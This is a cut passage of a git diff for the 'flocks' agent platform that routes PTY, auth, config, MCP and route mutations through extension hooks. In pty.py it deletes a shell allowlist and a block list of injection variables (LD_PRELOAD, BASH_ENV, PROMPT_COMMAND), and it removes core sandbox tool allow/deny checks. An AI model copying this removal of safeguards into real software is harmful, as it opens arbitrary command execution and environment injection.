Optional[List[str]] = None, ) -> List[Any]: """Type-check and deduplicate items for an extension point.""" if ext.item_type is not None: valid = [it for it in raw_items if isinstance(it, ext.item_type)] if len(valid) < len(raw_items): - invalid_count = len(raw_items) - len(valid) log.warn( "plugin.invalid_entries", { "source": source, "attr": ext.attr_name, "expected_type": ext.item_type.__name__, - "invalid_count": invalid_count, + "invalid_count": len(raw_items) - len(valid), }, ) - if errors is not None: - errors.append( - f"{source}: {invalid_count} invalid {ext.attr_name} " - f"entries; expected {ext.item_type.__name__}" - ) else: valid = raw_items diff --git a/flocks/pty/pty.py b/flocks/pty/pty.py index cc2dcf85c..e74f1c8ee 100644 --- a/flocks/pty/pty.py +++ b/flocks/pty/pty.py @@ -12,7 +12,6 @@ import os import uuid import subprocess -import sys from flocks.utils.log import Log from flocks.utils.id import Identifier @@ -24,37 +23,7 @@ # Buffer configuration matching Flocks BUFFER_LIMIT = 1024 * 1024 * 2 # 2MB BUFFER_CHUNK = 64 * 1024 # 64KB -_ALLOWED_SHELL_NAMES = { - "ash", - "bash", - "csh", - "cmd", - "cmd.exe", - "dash", - "fish", - "ksh", - "ksh93", - "mksh", - "powershell", - "powershell.exe", - "pwsh", - "pwsh.exe", - "sh", - "tcsh", - "zsh", -} -_ALLOWED_SHELL_ARGS = {"-i", "-l", "--login"} -_LOGIN_FLAG_SHELL_NAMES = {"bash", "fish", "ksh", "ksh93", "mksh", "sh", "zsh"} -_BLOCKED_PTY_ENV_NAMES = { - "BASH_ENV", - "ENV", - "LD_LIBRARY_PATH", - "LD_PRELOAD", - "PROMPT_COMMAND", - "PYTHONSTARTUP", - "ZDOTDIR", -} -_BLOCKED_PTY_ENV_PREFIXES = ("DYLD_",) +_LOGIN_CAPABLE_SHELL_NAMES = {"bash", "fish", "ksh", "ksh93", "mksh", "sh", "zsh"} class PtyStatus(str, Enum): @@ -132,41 +101,23 @@ def _get_shell(cls) -> str: return "sh" @classmethod - def _validate_interactive_shell(cls, command: str, args: List[str]) -> None: - """Allow PTY creation only for interactive shell sessions.""" - if not command or "\x00" in command: + def _validate_process_arguments(cls, command: str, args: List[str]) -> None: + """Reject values that cannot be passed safely to process creation.""" + if not isinstance(command, str) or not command or "\x00" in command: raise ValueError("Invalid PTY command") - - shell_name = os.path.basename(command).lower() - if shell_name not in _ALLOWED_SHELL_NAMES: - raise ValueError("PTY command must be an approved interactive shell") - for arg in args: - if not isinstance(arg, str) or "\x00" in arg or arg not in _ALLOWED_SHELL_ARGS: - raise ValueError("PTY command arguments are restricted to interactive shell flags") - - @classmethod - def _is_blocked_env_name(cls, name: str) -> bool: - normalized = name.upper() - return normalized in _BLOCKED_PTY_ENV_NAMES or any( - normalized.startswith(prefix) for prefix in _BLOCKED_PTY_ENV_PREFIXES - ) + if not isinstance(arg, str) or "\x00" in arg: + raise ValueError("Invalid PTY command argument") @classmethod def _prepare_environment(cls, input_env: Optional[Dict[str, str]]) -> Dict[str, str]: - """Build a PTY environment without shell/linker startup injection hooks.""" - env = { - key: value - for key, value in os.environ.items() - if not cls._is_blocked_env_name(key) - } + """Build an environment that the platform can pass to the process.""" + env = dict(os.environ) if input_env: for key, value in input_env.items(): if not isinstance(key, str) or not key or "\x00" in key: raise ValueError("Invalid PTY environment variable name") - if cls._is_blocked_env_name(key): - raise ValueError(f"PTY environment variable is not allowed: {key}") if not isinstance(value, str) or "\x00" in value: raise ValueError(f"Invalid PTY environment variable value: {key}") env[key] = value @@ -187,24 +138,35 @@ def get(cls, pty_id: str) -> Optional[PtyInfo]: @classmethod async def create(cls, input_data: CreateInput) -> PtyInfo: - """ - Create a new PTY session - matches Flocks's Pty.create() - - Args: - input_data: Session creation parameters - - Returns: - Created session info - """ + """Create a PTY session through the neutral action lifecycle.""" + from flocks.hooks.execution import execute_with_hooks + + return await execute_with_hooks( + { + "operation": "pty.open", + "action": "pty.open", + "resource": {"type": "pty"}, + "action_input": input_data.model_dump(), + }, + lambda: cls._create(input_data), + ) + + @classmethod + async def _create(cls, input_data: CreateInput) -> PtyInfo: + """Create the process after the public lifecycle adapter allows it.""" pty_id = Identifier.create("pty") command = input_data.command or cls._get_shell() args = list(input_data.args) if input_data.args else [] - cls._validate_interactive_shell(command, args) + cls._validate_process_arguments(command, args) - # Add login flag only for shells known to accept it. Some approved - # POSIX-compatible shells (e.g. dash/ash) reject ``-l``. + # Add the login flag only for shells known to accept it. Some + # POSIX-compatible shells (for example dash/ash) reject ``-l``. shell_name = os.path.basename(command).lower() - if shell_name in _LOGIN_FLAG_SHELL_NAMES and "-l" not in args and "--login" not in args: + if ( + shell_name in _LOGIN_CAPABLE_SHELL_NAMES + and "-l" not in args + and "--login" not in args + ): args.append("-l") cwd = input_data.cwd or os.getcwd() @@ -403,14 +365,28 @@ def resize(cls, pty_id: str, cols: int, rows: int) -> None: session.process.setwinsize(rows, cols) @classmethod - def write(cls, pty_id: str, data: str) -> None: - """ - Write data to PTY - matches Flocks's Pty.write() - - Args: - pty_id: Session ID - data: Data to write - """ + async def write(cls, pty_id: str, data: str) -> None: + """Write terminal bytes through the neutral action lifecycle.""" + from flocks.hooks.execution import execute_with_hooks + + await execute_with_hooks( + { + "operation": "pty.input", + "action": "pty.input", + "resource": {"type": "pty", "id": pty_id}, + "action_input": {"data": data}, + }, + lambda: cls._write_async(pty_id, data), + ) + + @classmethod + async def _write_async(cls, pty_id: str, data: str) -> None: + """Adapt the synchronous process write to the async lifecycle API.""" + cls._write(pty_id, data) + + @classmethod + def _write(cls, pty_id: str, data: str) -> None: + """Write raw data only after the public lifecycle adapter allows it.""" session = cls._sessions.get(pty_id) if session and session.info.status == PtyStatus.RUNNING: try: @@ -457,9 +433,9 @@ async def connect(cls, pty_id: str, ws: Any) -> Optional[Dict[str, Callable]]: await ws.close() return None - def on_message(message: str) -> None: + async def on_message(message: str) -> None: """Handle incoming message from WebSocket""" - cls.write(pty_id, message) + await cls.write(pty_id, message) def on_close() -> None: """Handle WebSocket close""" diff --git a/flocks/sandbox/__init__.py b/flocks/sandbox/__init__.py index 870cde8da..b239646e3 100644 --- a/flocks/sandbox/__init__.py +++ b/flocks/sandbox/__init__.py @@ -44,7 +44,7 @@ resolve_sandbox_workspace_dir, slugify_session_key, ) -from .tool_policy import is_tool_allowed, resolve_tool_policy +from .tool_policy import build_tool_policy_metadata from .system_prompt import build_sandbox_system_prompt from .types import ( BashSandboxConfig, @@ -87,9 +87,8 @@ "resolve_sandbox_scope_key", "resolve_sandbox_workspace_dir", "slugify_session_key", - # Policy - "is_tool_allowed", - "resolve_tool_policy", + # Opaque policy metadata + "build_tool_policy_metadata", "build_sandbox_system_prompt", # Types "BashSandboxConfig", diff --git a/flocks/sandbox/runtime_status.py b/flocks/sandbox/runtime_status.py index 89d0845ec..86c1920ad 100644 --- a/flocks/sandbox/runtime_status.py +++ b/flocks/sandbox/runtime_status.py @@ -9,8 +9,8 @@ from typing import Any, Dict, Optional from .config import resolve_sandbox_config_for_agent -from .tool_policy import resolve_tool_policy -from .types import SandboxConfig, SandboxMode, SandboxToolPolicy +from .tool_policy import build_tool_policy_metadata +from .types import SandboxConfig, SandboxMode def should_sandbox_session( @@ -40,14 +40,16 @@ def __init__( main_session_key: str, mode: SandboxMode, sandboxed: bool, - tool_policy: SandboxToolPolicy, + tool_policy_metadata: Dict[str, Any], ): self.agent_id = agent_id self.session_key = session_key self.main_session_key = main_session_key self.mode = mode self.sandboxed = sandboxed - self.tool_policy = tool_policy + # Opaque configuration carrier for optional extensions. Flocks never + # evaluates this data to allow or deny a tool. + self.tool_policy_metadata = tool_policy_metadata def resolve_sandbox_runtime_status( @@ -82,30 +84,11 @@ def resolve_sandbox_runtime_status( else False ) - # 解析工具策略 - global_sandbox = (config_data or {}).get("sandbox", {}) or {} - agent_data = (config_data or {}).get("agent", {}) or {} - agent_sandbox = {} - if agent_id and agent_id in agent_data: - ac = agent_data[agent_id] - if isinstance(ac, dict): - agent_sandbox = ac.get("sandbox", {}) or {} - - global_tools = global_sandbox.get("tools", {}) or {} - agent_tools = agent_sandbox.get("tools", {}) or {} - - tool_policy = resolve_tool_policy( - global_allow=global_tools.get("allow"), - global_deny=global_tools.get("deny"), - agent_allow=agent_tools.get("allow"), - agent_deny=agent_tools.get("deny"), - ) - return SandboxRuntimeStatus( agent_id=agent_id, session_key=session_key, main_session_key=main_session_key, mode=sandbox_cfg.mode, sandboxed=sandboxed, - tool_policy=tool_policy, + tool_policy_metadata=build_tool_policy_metadata(config_data, agent_id), ) diff --git a/flocks/sandbox/tool_policy.py b/flocks/sandbox/tool_policy.py index 17b7f1b46..2ce3a825f 100644 --- a/flocks/sandbox/tool_policy.py +++ b/flocks/sandbox/tool_policy.py @@ -1,93 +1,48 @@ -""" -沙箱工具策略 +"""Opaque sandbox tool-policy metadata transport. -对齐 OpenClaw sandbox/tool-policy.ts： -- 支持 allow/deny 列表 -- 支持通配符 (*) 模式匹配 -- deny 优先于 allow +Flocks deliberately does not interpret ``sandbox.tools`` as an authorization +decision. The optional Pro policy gate receives the raw global and agent +configuration and is the sole owner of validation, merging, and enforcement. """ -import fnmatch -import re -from typing import List, Optional - -from .types import SandboxToolPolicy - - -def is_tool_allowed(policy: SandboxToolPolicy, name: str) -> bool: - """ - 检查工具是否被允许。 +from typing import Any, Dict, Mapping - 规则（对齐 OpenClaw isToolAllowed）： - 1. 如果在 deny 列表中 → 拒绝 - 2. 如果 allow 列表为空 → 允许 - 3. 如果在 allow 列表中 → 允许 - 4. 否则 → 拒绝 - Args: - policy: 工具策略 - name: 工具名称 +def build_tool_policy_metadata( + config_data: Mapping[str, Any] | None, + agent_id: str | None, +) -> Dict[str, Any]: + """Return raw sandbox tool-policy configuration for an extension hook. - Returns: - 是否允许 + This copies containers only. It intentionally does not normalize patterns, + merge scopes, or decide whether any tool is allowed. """ - normalized = name.strip().lower() - deny = _expand_patterns(policy.deny) - if _matches_any(normalized, deny): - return False - allow = _expand_patterns(policy.allow) - if not allow: - return True - return _matches_any(normalized, allow) - - -def resolve_tool_policy( - global_allow: Optional[List[str]] = None, - global_deny: Optional[List[str]] = None, - agent_allow: Optional[List[str]] = None, - agent_deny: Optional[List[str]] = None, -) -> SandboxToolPolicy: - """ - 解析工具策略（agent 覆盖 global）。 - - 对齐 OpenClaw resolveSandboxToolPolicyForAgent。 - 当未配置 allow/deny 时，默认全允许。 - """ - allow: List[str] - deny: List[str] - - if isinstance(agent_deny, list): - deny = agent_deny - elif isinstance(global_deny, list): - deny = global_deny - else: - deny = [] - - if isinstance(agent_allow, list): - allow = agent_allow - elif isinstance(global_allow, list): - allow = global_allow - else: - allow = [] - - return SandboxToolPolicy(allow=allow, deny=deny) - - -def _expand_patterns(patterns: Optional[List[str]]) -> List[str]: - """展开模式列表（去空去重）.""" - if not patterns: - return [] - return [p.strip().lower() for p in patterns if p and p.strip()] - - -def _matches_any(name: str, patterns: List[str]) -> bool: - """检查名称是否匹配任意模式.""" - for pattern in patterns: - if pattern == "*": - return True - if "*" in pattern: - if fnmatch.fnmatch(name, pattern): - return True - elif name == pattern: - return True - return False + config = config_data if isinstance(config_data, Mapping) else {} + global_sandbox = config.get("sandbox") + global_tools = ( + global_sandbox.get("tools", {}) + if isinstance(global_sandbox, Mapping) + else {} + ) + agents = config.get("agent") + agent_config = ( + agents.get(agent_id) + if isinstance(agents, Mapping) and agent_id + else None + ) + agent_sandbox = ( + agent_config.get("sandbox") + if isinstance(agent_config, Mapping) + and isinstance(agent_config.get("sandbox"), Mapping) + else {} + ) + agent_tools = ( + agent_sandbox.get("tools", {}) + if isinstance(agent_sandbox, Mapping) + else {} + ) + return { + "source": "sandbox.tool_policy", + "global": dict(global_tools) if isinstance(global_tools, Mapping) else global_tools, + "agent": dict(agent_tools) if isinstance(agent_tools, Mapping) else agent_tools, + } diff --git a/flocks/server/app.py b/flocks/server/app.py index 5a1635023..df9058eb2 100644 --- a/flocks/server/app.py +++ b/flocks/server/app.py @@ -27,6 +27,11 @@ from flocks.utils.langfuse import initialize as init_observability, shutdown as shutdown_observability from flocks.auth.service import AuthService from flocks.extensions import ExtensionOptions, handler_name, normalize_fail_policy, normalize_timeout +from flocks.hooks.execution import ( + ExecutionStopped, + execution_context_scope, + execution_lifecycle_scope, +) from flocks.server.auth import apply_auth_for_request, clear_auth_context from flocks.server.static_webui import maybe_serve_static_webui @@ -604,6 +609,8 @@ async def _delayed_trigger_runtime_start() -> None: redoc_url="/redoc", openapi_url="/openapi.json", ) +app.state.critical_plugin_entrypoint_failure = False +app.state.critical_plugin_entrypoint_failures = () # Logger log = Log.create(service="server") @@ -878,7 +885,6 @@ async def handle_request() -> None: fn=handle_request, ) - app.add_middleware(_InstanceContextMiddleware) @@ -1031,10 +1037,7 @@ async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: except Exception as exc: log.error( "auth.middleware.unexpected", - { - "path": request.url.path, - "error": repr(exc), - }, + {"path": request.url.path, "error": repr(exc)}, ) response = JSONResponse( status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, @@ -1332,11 +1335,23 @@ async def general_exception_handler(request: Request, exc: Exception): def _load_installed_package_plugins() -> None: """Load package entry-point plugins before the app starts serving requests.""" + app.state.critical_plugin_entrypoint_failure = False + app.state.critical_plugin_entrypoint_failures = () try: from flocks.plugin import PluginLoader - PluginLoader.load_all(project_dir=Path.cwd()) - log.info("plugins.installed.loaded") + result = PluginLoader.load_all(project_dir=Path.cwd()) + if result.has_critical_entrypoint_failure: + app.state.critical_plugin_entrypoint_failure = True + app.state.critical_plugin_entrypoint_failures = tuple( + result.critical_entrypoint_failures + ) + log.error( + "plugins.installed.critical_failure", + {"entrypoints": result.critical_entrypoint_failures}, + ) + else: + log.info("plugins.installed.loaded") except Exception as e: log.warning("plugins.installed.load_failed", {"error": str(e)}) diff --git a/flocks/server/auth.py b/flocks/server/auth.py index 47b08e4fc..4667acd3d 100644 --- a/flocks/server/auth.py +++ b/flocks/server/auth.py @@ -241,7 +241,50 @@ def _build_api_token_user() -> AuthUser: ) +def _auth_ingress_payload(request: HTTPConnection) -> dict: + return { + "operation": "auth.request", + "transport": "http", + "request": request, + "method": getattr(request, "method", None), + "path": request.url.path, + "client": getattr(getattr(request, "client", None), "host", None), + "headers": request.headers, + } + + async def apply_auth_for_request(request: HTTPConnection): + """Resolve auth within the generic HTTP ingress lifecycle.""" + from flocks.hooks.execution import execute_with_hooks + from flocks.hooks.pipeline import HookPipeline + + auth_token = None + + async def _authenticated_effect(): + nonlocal auth_token + result = await _apply_auth_for_request(request) + auth_token = result[1] + return result + + try: + return await execute_with_hooks( + _auth_ingress_payload(request), + _authenticated_effect, + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + subject_sink=lambda subject: setattr(request.state, "subject", subject), + context_sink=lambda context: setattr( + request.state, "extension_context", dict(context) + ), + reuse_execution_scope=True, + ) + except BaseException: + if auth_token is not None: + clear_auth_context(auth_token) + raise + + +async def _apply_auth_for_request(request: HTTPConnection): """ Resolve user from cookie and bind context var. Returns (response_if_blocked, token, user). @@ -270,13 +313,13 @@ async def apply_auth_for_request(request: HTTPConnection): raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="登录已过期，请重新登录") auth_user = user.to_auth_user() - request.state.auth_user = auth_user - token = set_current_auth_user(auth_user) if auth_user.must_reset_password and not password_reset_exempt(request.url.path): raise HTTPException( status_code=status.HTTP_403_FORBIDDEN, detail="当前账号必须先修改密码后才能继续使用", ) + request.state.auth_user = auth_user + token = set_current_auth_user(auth_user) return None, token, auth_user # Non-browser clients must authenticate with an API token because @@ -321,13 +364,13 @@ async def apply_auth_for_request(request: HTTPConnection): raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="登录已过期，请重新登录") auth_user = user.to_auth_user() - request.state.auth_user = auth_user - token = set_current_auth_user(auth_user) if auth_user.must_reset_password and not password_reset_exempt(request.url.path): raise HTTPException( status_code=status.HTTP_403_FORBIDDEN, detail="当前账号必须先修改密码后才能继续使用", ) + request.state.auth_user = auth_user + token = set_current_auth_user(auth_user) return None, token, auth_user diff --git a/flocks/server/routes/action_lifecycle.py b/flocks/server/routes/action_lifecycle.py new file mode 100644 index 000000000..00527f9c2 --- /dev/null +++ b/flocks/server/routes/action_lifecycle.py @@ -0,0 +1,137 @@ +"""Neutral lifecycle wrapping for mutating HTTP route effects. + +The adapter intentionally supplies only route facts and argument shape. It +does not classify risk, authorize callers, or interpret route data; extensions +such as FlocksPro own those decisions. +""" + +from __future__ import annotations + +import inspect +from functools import wraps +from typing import Any, Callable, Dict, Mapping + +from fastapi import APIRouter, HTTPException + +from flocks.auth.context import get_current_auth_user +from flocks.hooks.execution import ExecutionStopped, execute_with_hooks + + +_MUTATING_METHODS = frozenset({"POST", "PUT", "PATCH", "DELETE"}) + + +def _argument_shape(arguments: Dict[str, Any]) -> Dict[str, Any]: + """Return stable, non-secret structural facts for a route invocation.""" + fields: Dict[str, list[str]] = {} + for name, value in arguments.items(): + model_fields = getattr(value, "model_fields", None) + if isinstance(model_fields, dict): + fields[name] = sorted(str(field) for field in model_fields) + return { + "argument_names": sorted(str(name) for name in arguments), + "model_fields": fields, + } + + +def _audit_actor(arguments: Mapping[str, Any]) -> Dict[str, str]: + """Return trusted actor hints for lifecycle audit correlation.""" + user = get_current_auth_user() + if user is not None: + actor_id = str(user.id or "").strip() + actor_name = str(user.username or "").strip() + if actor_id and actor_name: + return {"id": actor_id, "name": actor_name} + for value in arguments.values(): + if isinstance(value, Mapping): + actor_id = str(value.get("id") or "").strip() + actor_name = str(value.get("username") or value.get("name") or "").strip() + else: + actor_id = str(getattr(value, "id", "") or "").strip() + actor_name = str( + getattr(value, "username", "") or getattr(value, "name", "") or "" + ).strip() + if actor_id and actor_name: + return {"id": actor_id, "name": actor_name} + return {} + + +def action_operation_payload( + domain: str, + endpoint: Callable[..., Any], + args: tuple[Any, ...], + kwargs: Dict[str, Any], +) -> Dict[str, Any]: + """Build an opaque, data-minimized action payload for extensions.""" + try: + arguments = dict(inspect.signature(endpoint).bind_partial(*args, **kwargs).arguments) + except TypeError: + arguments = dict(kwargs) + action_id = endpoint.__name__ + resource_id = action_id.removeprefix(f"{domain}_") or action_id + operation = f"{domain}.{action_id}" + actor = _audit_actor(arguments) + return { + "operation": operation, + "action": operation, + "entry": "http_control_plane", + "execution_domain": "control_plane", + "resource": {"type": domain, "id": resource_id}, + "action_input": _argument_shape(arguments), + "tool_context_extra": { + "execution_context": { + "audit_actor": actor, + } + }, + } + + +def wrap_action_endpoint(domain: str, endpoint: Callable[..., Any]) -> Callable[..., Any]: + """Wrap one mutating FastAPI endpoint in the generic action lifecycle.""" + + @wraps(endpoint) + async def _wrapped(*args: Any, **kwargs: Any) -> Any: + try: + return await execute_with_hooks( + action_operation_payload(domain, endpoint, args, kwargs), + lambda: endpoint(*args, **kwargs), + ) + except ExecutionStopped as exc: + raise HTTPException( + status_code=403, + detail="Action stopped by extension", + ) from exc + + return _wrapped + + +class ActionLifecycleRouter(APIRouter): + """Router that wraps every mutating endpoint with neutral lifecycle hooks.""" + + def __init__(self, *, lifecycle_domain: str, **kwargs: Any) -> None: + super().__init__(**kwargs) + self.lifecycle_domain = lifecycle_domain + + def api_route(self, path: str, *args: Any, **kwargs: Any): + methods = kwargs.get("methods") or [] + is_mutating = bool( + {str(method).upper() for method in methods} & _MUTATING_METHODS + ) + base_decorator = super().api_route(path, *args, **kwargs) + + def _decorate(endpoint: Callable[..., Any]) -> Callable[..., Any]: + wrapped = ( + wrap_action_endpoint(self.lifecycle_domain, endpoint) + if is_mutating + else endpoint + ) + base_decorator(wrapped) + return wrapped + + return _decorate + + +__all__ = [ + "ActionLifecycleRouter", + "action_operation_payload", + "wrap_action_endpoint", +] diff --git a/flocks/server/routes/agent.py b/flocks/server/routes/agent.py index 5df1fa9d4..b3c15a810 100644 --- a/flocks/server/routes/agent.py +++ b/flocks/server/routes/agent.py @@ -31,9 +31,10 @@ from flocks.agent.registry import Agent from flocks.agent.agent import AgentInfo as AgentInfoModel, AgentModel as AgentModelConfig from flocks.agent.agent_factory import find_yaml_agent, read_yaml_agent, update_yaml_agent, delete_yaml_agent +from flocks.server.routes.action_lifecycle import ActionLifecycleRouter from flocks.utils.log import Log -router = APIRouter() +router = ActionLifecycleRouter(lifecycle_domain="agent") log = Log.create(service="routes.agent") # Lazily-initialised lock to prevent concurrent read-modify-write on model_overrides. diff --git a/flocks/server/routes/channel.py b/flocks/server/routes/channel.py index dfa0facc1..ab9145ea8 100644 --- a/flocks/server/routes/channel.py +++ b/flocks/server/routes/channel.py @@ -4,6 +4,7 @@ from __future__ import annotations +import hashlib import json from typing import Optional @@ -13,9 +14,12 @@ from flocks.channel.gateway.manager import default_manager from flocks.channel.registry import default_registry +from flocks.hooks.execution import ExecutionStopped, execute_with_hooks +from flocks.hooks.pipeline import HookPipeline +from flocks.server.routes.action_lifecycle import ActionLifecycleRouter from flocks.utils.log import Log -router = APIRouter() +router = ActionLifecycleRouter(lifecycle_domain="channel") log = Log.create(service="channel.routes") @@ -160,8 +164,29 @@ async def channel_webhook(channel_id: str, request: Request): body = await request.body() headers = dict(request.headers) - - result = await plugin.handle_webhook(body, headers) + evidence_provider = getattr(plugin, "webhook_authentication_evidence", None) + authentication = {"plugin_authenticated": False} + if callable(evidence_provider): + supplied = await evidence_provider(body, headers) + if isinstance(supplied, dict): + authentication = dict(supplied) + + payload = { + "operation": "channel.webhook.receive", + "entry": "channel_webhook", + "channel_id": channel_id, + "authentication": authentication, + "body_sha256": hashlib.sha256(body).hexdigest(), + } + try: + result = await execute_with_hooks( + payload, + lambda: plugin.handle_webhook(body, headers), + before=HookPipeline.run_channel_webhook_before, + after=HookPipeline.run_channel_webhook_after, + ) + except ExecutionStopped as exc: + raise HTTPException(status_code=403, detail="Channel webhook stopped by extension") from exc if isinstance(result, dict) and isinstance(result.get("status_code"), int): status_code = int(result["status_code"]) payload = {k: v for k, v in result.items() if k != "status_code"} diff --git a/flocks/server/routes/config.py b/flocks/server/routes/config.py index 58aee09ea..c3a5163a6 100644 --- a/flocks/server/routes/config.py +++ b/flocks/server/routes/config.py @@ -16,8 +16,10 @@ } """ +import inspect import re import xml.etree.ElementTree as ET +from functools import wraps from pathlib import Path from typing import Dict, Any, Optional from fastapi import APIRouter, File, HTTPException, UploadFile, status @@ -28,10 +30,61 @@ from flocks.config.config import Config, GlobalConfig, ConfigInfo as ConfigInfoModel, UIConfig from flocks.config.config_writer import ConfigWriter +from flocks.hooks.execution import execute_with_hooks from flocks.provider.provider import Provider from flocks.utils.log import Log -router = APIRouter() + +def _config_operation_payload(endpoint, args: tuple[Any, ...], kwargs: Dict[str, Any]) -> Dict[str, Any]: + try: + arguments = inspect.signature(endpoint).bind_partial(*args, **kwargs).arguments + except TypeError: + arguments = dict(kwargs) + action_name = f"config.{endpoint.__name__}" + return { + "operation": action_name, + # Explicitly mark config mutations as control-plane actions so + # policy-gate can apply the intended http_control_plane bypass. + "entry": "http_control_plane", + "execution_domain": "control_plane", + "action": action_name, + "resource": {"type": "config", "id": endpoint.__name__}, + "arguments": dict(arguments), + } + + +def _wrap_config_operation(endpoint): + @wraps(endpoint) + async def _wrapped(*args, **kwargs): + return await execute_with_hooks( + _config_operation_payload(endpoint, args, kwargs), + lambda: endpoint(*args, **kwargs), + ) + + return _wrapped + + +class _ConfigLifecycleRouter(APIRouter): + """Attach the generic action lifecycle to configuration mutations.""" + + def api_route(self, path: str, *args, **kwargs): + methods = kwargs.get("methods") or [] + method_set = {str(method).upper() for method in methods} + base_decorator = super().api_route(path, *args, **kwargs) + + def _decorate(endpoint): + wrapped = ( + _wrap_config_operation(endpoint) + if method_set & {"POST", "PUT", "PATCH", "DELETE"} + else endpoint + ) + base_decorator(wrapped) + return wrapped + + return _decorate + + +router = _ConfigLifecycleRouter() log = Log.create(service="routes.config") @@ -645,14 +698,16 @@ async def update_config(config_data: Dict[str, Any]) -> Dict[str, Any]: channel_allow_from_deletions = _channel_allow_from_deletion_ids(config_data) _normalize_slack_dm_policy(config_data) + channels_payload = config_data.get("channels") # Extract channel sensitive fields into .secret.json before persisting - if "channels" in config_data and isinstance(config_data.get("channels"), dict): + if isinstance(channels_payload, dict): from flocks.security.channel_secrets import extract_channel_secrets + config_data = {**config_data, "channels": extract_channel_secrets(config_data["channels"])} # Parse and validate configuration config = ConfigInfoModel.model_validate(config_data) - + # Update project config await Config.update( config, @@ -661,9 +716,25 @@ async def update_config(config_data: Dict[str, Any]) -> Dict[str, Any]: # Clear cache to reload Config.clear_cache() - + # Refresh only OSS-owned channel routing and Agent visibility config. + from flocks.channel.inbound.dispatcher import ( + InboundDispatcher, + invalidate_channel_config_cache, + ) + + channels = config_data.get("channels") + if isinstance(channels, dict) and channels: + for channel_id in channels: + invalidate_channel_config_cache(str(channel_id)) + for channel_id in channels: + await InboundDispatcher._get_channel_config( + str(channel_id), + force_refresh=True, + ) + else: + invalidate_channel_config_cache() + log.info("config.updated") - return await get_config() except Exception as e: log.error("config.update.error", {"error": str(e)}) diff --git a/flocks/server/routes/mcp.py b/flocks/server/routes/mcp.py index 8ae72ae62..803a608bd 100644 --- a/flocks/server/routes/mcp.py +++ b/flocks/server/routes/mcp.py @@ -8,6 +8,8 @@ """ import asyncio +import inspect +from functools import wraps from typing import Dict, Optional, List, Any from fastapi import APIRouter, HTTPException from fastapi.responses import JSONResponse @@ -41,9 +43,49 @@ ) from flocks.config.config import Config from flocks.config.config_writer import ConfigWriter +from flocks.hooks.execution import execute_with_hooks from flocks.utils.log import Log -router = APIRouter() + +def _mcp_operation_payload(endpoint, args: tuple[Any, ...], kwargs: Dict[str, Any]) -> Dict[str, Any]: + try: + arguments = inspect.signature(endpoint).bind_partial(*args, **kwargs).arguments + except TypeError: + arguments = dict(kwargs) + return { + "operation": f"mcp.{endpoint.__name__}", + "arguments": dict(arguments), + } + + +def _wrap_mcp_operation(endpoint): + @wraps(endpoint) + async def _wrapped(*args, **kwargs): + return await execute_with_hooks( + _mcp_operation_payload(endpoint, args, kwargs), + lambda: endpoint(*args, **kwargs), + ) + + return _wrapped + + +class _McpLifecycleRouter(APIRouter): + """Attach the generic action lifecycle to MCP mutations.""" + + def api_route(self, path: str, *args, **kwargs): + methods = kwargs.get("methods") or [] + method_set = {str(method).upper() for method in methods} + base_decorator = super().api_route(path, *args, **kwargs) + + def _decorate(endpoint): + wrapped = _wrap_mcp_operation(endpoint) if method_set & {"POST", "PUT", "PATCH", "DELETE"} else endpoint + base_decorator(wrapped) + return wrapped + + return _decorate + + +router = _McpLifecycleRouter() log = Log.create(service="routes.mcp") diff --git a/flocks/server/routes/pty.py b/flocks/server/routes/pty.py index 1ddf3ccd2..bcf8ef540 100644 --- a/flocks/server/routes/pty.py +++ b/flocks/server/routes/pty.py @@ -4,11 +4,12 @@ Matches Flocks' ported src/server/routes/pty.ts """ -from typing import Optional from fastapi import APIRouter, HTTPException, WebSocket, WebSocketDisconnect, status from pydantic import BaseModel, Field from flocks.server.auth import apply_auth_for_request, clear_auth_context +from flocks.hooks.execution import execution_context_scope, execution_lifecycle_scope +from flocks.identity import reset_current_subject, set_current_subject from flocks.utils.log import Log from flocks.pty.pty import Pty, PtyInfo, CreateInput, UpdateInput, PtyStatus @@ -137,41 +138,55 @@ async def connect_session(websocket: WebSocket, pty_id: str): """ token = None try: - _blocked, token, _user = await apply_auth_for_request(websocket) - except HTTPException as exc: - close_code = 4403 if exc.status_code == status.HTTP_403_FORBIDDEN else 4401 - await websocket.close(code=close_code, reason=str(exc.detail)) - return - - try: - # Check only after authentication so unauthenticated callers cannot - # probe for active PTY identifiers. - if not Pty.get(pty_id): - await websocket.close(code=4004, reason="Session not found") - return - - await websocket.accept() - - # Connect to PTY - handlers = await Pty.connect(pty_id, websocket) - if not handlers: - await websocket.close(code=4004, reason="Session not found") - return - - # Handle messages - while True: + # WebSocket lifetimes outlive the ingress hook that authenticated the + # handshake. Keep only neutral, opaque execution context alive for the + # connection so extensions can restore their own verified bindings. + with execution_lifecycle_scope(): + try: + _blocked, token, _user = await apply_auth_for_request(websocket) + except HTTPException as exc: + close_code = ( + 4403 if exc.status_code == status.HTTP_403_FORBIDDEN else 4401 + ) + await websocket.close(code=close_code, reason=str(exc.detail)) + return + + subject = getattr(websocket.state, "subject", None) + subject_token = set_current_subject(subject) if subject is not None else None + handlers = None try: - data = await websocket.receive_text() - handlers["onMessage"](data) - except WebSocketDisconnect: - break - except Exception as e: - log.error("pty.ws.error", {"id": pty_id, "error": str(e)}) - break - - # Cleanup - handlers["onClose"]() - + extension_context = getattr(websocket.state, "extension_context", None) + with execution_context_scope(extension_context): + # Check only after authentication so unauthenticated callers cannot + # probe for active PTY identifiers. + if not Pty.get(pty_id): + await websocket.close(code=4004, reason="Session not found") + return + + await websocket.accept() + + # Connect to PTY + handlers = await Pty.connect(pty_id, websocket) + if not handlers: + await websocket.close(code=4004, reason="Session not found") + return + + # Each received frame is routed through Pty.write(), whose + # public primitive owns the neutral action lifecycle. + while True: + try: + data = await websocket.receive_text() + await handlers["onMessage"](data) + except WebSocketDisconnect: + break + except Exception as exc: + log.error("pty.ws.error", {"id": pty_id, "error": str(exc)}) + break + finally: + if handlers is not None: + handlers["onClose"]() + if subject_token is not None: + reset_current_subject(subject_token) except Exception as e: log.error("pty.ws.connect.error", {"id": pty_id, "error": str(e)}) finally: diff --git a/flocks/server/routes/session.py b/flocks/server/routes/session.py index a7c920c04..1d2144cef 100644 --- a/flocks/server/routes/session.py +++ b/flocks/server/routes/session.py @@ -1057,6 +1057,8 @@ async def create_session(http_request: Request, request: Optional[SessionCreateR for p in request.permission ] + from flocks.session.execution_profile 